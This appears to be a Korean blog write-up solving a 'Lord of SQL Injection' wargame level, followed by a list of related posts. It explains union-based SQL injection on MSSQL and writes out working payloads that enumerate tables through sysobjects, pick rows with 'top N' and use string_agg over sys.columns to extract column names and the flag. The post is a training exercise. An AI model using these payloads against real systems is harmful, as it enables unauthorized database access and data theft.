다른 테이블을 이용하는 내용이 다시 나왔다. 지난 문제에서는 Error Based SQL Injection 을 이용하여 table 명과 pw를 leak 하였다. 이번에는 Error Based 는 아니지만 echo 명령어가 있기 때문에 이를 이용하여 table 명과 pw를 leak 할 수 있을 것 같다.
그리고 'sys' 라는 문자열이 필터링에서 빠졌다. mssql 에서는 information_schema 말고도 sysobjects 라는 메타데이터를 이용할 수 있다. 테이블의 이름에 해당하는 column은 'name' 이다. 우선 바로 query를 보내보자.
sysobjects where type='TYPE' 과 같은 형식으로 사용한다. 주요한 [TYPE]에는 다음들이 있다.
- FN SQL 스칼라 함수
- P SQL 저장 프로시저
- TF SQL 테이블 반환 함수
- U 테이블(사용자 정의)
- V 뷰
pw=' union select name from sysobjects where type='U'--
우리가 원하는 table 이름은 flag 로 시작하는 구조이다. MySQL에서는 query 에 끝부분에 limit을 걸어서 원하는 row의 데이터를 뽑을 수 있었다.
MSSQL에서는 select 바로 뒤에 top ROW_NUM 를 추가함으로써 그것을 실현할 수 있다.
pw=' union select top 1 name from sysobjects where type='U'--
1번 ROW에는 member 라는 table 이 살고 있다.
pw=' union select top 2 name from sysobjects where type='U'--
우리가 원하던 친구는 2번 ROW에 살고 있었다.
이번에는 'flag_ccdfe62b' 테이블의 column 명들을 쭉 뽑아보자. MySQL 에서는 group_concat 함수가 있지만 MSSQL 에서는 string_agg 함수가 있다. 형식은 string_agg(COL_NAME, '구분자') 이다. 또한 column 이름들에 대한 데이터는 sys.colums 에 들어있다.
pw=' union select string_agg(name,'%0a') from sys.columns--
'flag_ab15b600' 라는 친구가 눈에 잘 보인다. 모든 column의 이름들을 볼 수 있다. 나중에 유용하게 쓸 이름들인 것 같다. 우선 이 column에 있는 모든 데이터를 뽑아보자.
pw=' union select string_agg(flag_ab15b600,'%0a') from flag_ccdfe62b--
성공적으로 flag를 얻었다.
'Web Hacking > LOS' 카테고리의 다른 글
Lord of SQL Injection - incubus (0) | 2021.10.17 |
---|---|
Lord of SQL Injection - nessie (0) | 2021.10.05 |
Lord of SQL Injection - cerberus (0) | 2021.10.05 |
Lord of SQL Injection - yeti (0) | 2021.10.05 |
Lord of SQL Injection - mummy (0) | 2021.10.05 |